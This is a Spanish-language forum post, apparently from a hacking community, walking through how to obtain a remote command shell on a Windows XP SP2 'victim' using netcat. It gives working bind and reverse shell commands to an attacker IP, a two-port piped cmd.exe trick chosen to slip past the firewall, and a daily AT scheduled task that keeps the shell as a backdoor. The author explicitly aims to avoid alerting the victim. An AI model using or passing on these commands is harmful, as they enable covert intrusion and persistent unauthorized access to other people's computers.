Nota: este tipo de conexion tu no la vas a poder realizar ya que se necesita que la victima tenga una ip publica y como tu victima esta dentro de una red y tu fuera de ella, vas a necesitar entrar al router y mapear los puertos para que automaticamente te redireccione a la maquina que deseas en caso contrario nunca lo podras lograr (no explico como mapear los puertos de un router, si quieres saber como se hace lee el manual de tu router)
A la hora de que la victima deja a la escucha el netcat en el puerto 80,
nc -l -d -e cmd.exe -p 80
automaticamente le salta la pantallita del firewall alertando de que el "nc" esta realizando una conexion, la verdad esto seria muy detestable a la hora de realizar una intrusion por que se le tiene que decir al firewall que lo permita.
despues de saber que la victima ya tiene un nc a la escucha en el puerto 80 ya podemos conectar para que nos devuelva la shell:
nc -vv 192.168.1.4 80
siguiendo este procedimiento no debe de darles problema para devoverles la shell, lo unico que si les puedo decir es que la conexion se vuelve algo lenta, tanto en internet como la conexion con el nc.
[CONEXION INVERSA CON LA VICTIMA]
Nota: para los que aun no lo saben al decir conexion inversa quiere decir que la victima se va a conectar con el atacante y ademas el atacante tiene que tener una ip publica o accesible a la victima.
lo primero que tenemos que hacer como la mayoria ya lo sabe es dejar un netcat a la escucha en el equipo atacante para que la victima nos sirva la shell.
nc -vv -l -p 80
ahora que ya esta preparado el atacante, la victima tiene que mandarle la shell al puerto que tiene en escucha el netcat, esto seria asi:
nc -d -e cmd.exe 192.168.1.2 80
A la hora de ejecutar dicho comando, el firewall del Sp2 no salta alertandonos de alguna anomalia (eso es bueno para nosotros), pero el problema es que nunca nos manda la shell al equipo atacante (eso sono peor que lo anterior), quizas sea por el Sp2 aunque aun no aseguro nada, espero alguien pruebe una reverse shell para asegurarme de lo que me paso.
en pocas palabras lo mejor seria dejar un netcat a la escucha en el puerto 80 pero el problema seria que el firewall nos llamaria la atencion y tendriamos que permitir el uso del nc(en tu caso seria en el router), ademas de que tendriamos que tener los dos equipos dentro una misma red o ambos equipos con una ip publica para que sea accesible.
si un susario de xp sp2 revisara su firewall y observara que tiene un "nc" habilitado lo mas seguro es que empiece a sospechar de un posible intruso y nuetra fiesta se haya terminado...
Ahora bien despues de observar un poco la situacion sabemos que el equipo victima puede resivir paquetes por el puerto 80 pero no nos los pudo devolver en el mismo puerto (vease el caso de la conexion inversa por el puerto 80... fallo), y nosotros necesitamos una conexion inversa que nos saque de este apuro.
como todos sabran, la mayoria de los firewall tienen habilitados los puertos 80(http) y 25(smtp), inclusive el sp2 los permite sin previa configuracion, asi de que ¿por que no utilizar ambos puertos para que el equipo victima nos devuelva la shell?, suena algo dificil pero en realidad no lo es, lo que vamos a hacer sera
voltear la shell con netcat.
[VOLTEAR LA SHELL CON NETCAT]
Nota: en este tipo de conexion no vamos a necesitar que ambos equipos tengan ip publica, basta con que el atacante tenga una, ademas de que ambos equipos tengan habilitada la entrada en el puerto 80 y la salida en el puerto 25.
En primer lugar vamos a necesitar poner dos netcat a la escucha en el equipo atacante (cada uno en su propia ventana o indicador de comando, como gusten llamarle).
en uno ponemos el puerto 80:
nc -vv -l -p 80
y en el otro ponemos el puerto 25:
nc -vv -l -p 25
Ya que tenemos todo listo, basta con que el equipo victima ejecute el siguiente comando (recordar que en mi ejemplo el atacante tiene ip 192.168.1.2):
nc 192.168.1.2 80 | cmd.exe | nc 192.168.1.2 25
y walaa!!!!! ya tenemos la shell de nuestra victima y el firewall del sp2 no dira ni pio, ya que por defecto admite la entrada de informacion por el puerto 80 y la salida por el 25.
Ahora bien como vamos a mandar los comandos a la shell remota?
como dije anteriormente nosotros le vamos a enviar los comandos desde la ventana en la cual teniamos el netcat a la escucha en el puerto 80 y automaticamente la victima nos va a devolver los resultados en la ventana que tiene el netcat a la escucha en el puerto 25 (vease la imagen adjunta a este post).
[DEJARLO COMO PUERTA TRASERA]
pues bien ahora tenemos otro problema y es de que tendriamos que ejecutar dicho comando en la victima cada vez que quisieramos la shell.
lo que podemos hacer aqui es dejarlo programado para que se ejecute diariamente a determinada hora que nosotros ya tengamos previamente nuestro netcat a la espera de la shell, para esto vamos a utilizar el comando
AT, la sintaxis seria la siguiente:
at <dia> <hora> "comando"
por lo tanto quedaria asi:
at /every:1 6:00p ""nc 192.168.1.2 80 | cmd.exe | nc 192.168.1.2 25""
de esta manera ejecutara el netcat diariamente a las 6:00 p.m. tomando en cuenta de que el nc ya se encuentre en system32, en caso contrario van a tener que poner la ruta del netcat.
para verificar que se haya agregado la tarea solo tecleen:
at
si quieren ver todas las opciones del comando at solo teclen:
at -h
creo que con eso seria todo, espero haberme explicado de buena manera.
zaludox
P.D. Oye Rojodos, no estaria mal implementar este tipo de parametros con el netcat en linux solo seria cambiar la ruta de la shell (creo que por alli lei que tenias como compilar el netcat en linux con ciertos flags que no vienen por defecto y que ademas son algo peligrosos

, asi veriamos que pasa xDD).
creo que mejor ya me voy a dormir que empiezo a delirar xDD